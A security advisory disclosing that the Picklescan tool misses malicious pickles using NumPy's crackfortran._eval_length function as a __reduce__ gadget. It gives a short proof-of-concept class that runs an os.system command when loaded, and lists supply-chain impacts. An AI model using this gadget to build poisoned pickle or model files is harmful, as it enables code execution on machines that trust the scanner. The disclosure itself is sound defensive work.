PYSEC-2026-1783

Summary

Picklescan uses the numpy.f2py.crackfortran._eval_length function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling.

Details

Picklescan fails to detect a malicious pickle that uses the gadget numpy.f2py.crackfortran._eval_length in __reduce__, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution.

PoC

class PoC:
    def __reduce__(self):
        from numpy.f2py.crackfortran import _eval_length
        return _eval_length, ("__import__('os').system('whoami')", None)

Impact

• Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file.
• Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts.
• Enables supply‑chain poisoning of shared model files.

Credits

• ac0d3r
• Tong Liu, Institute of information engineering, CAS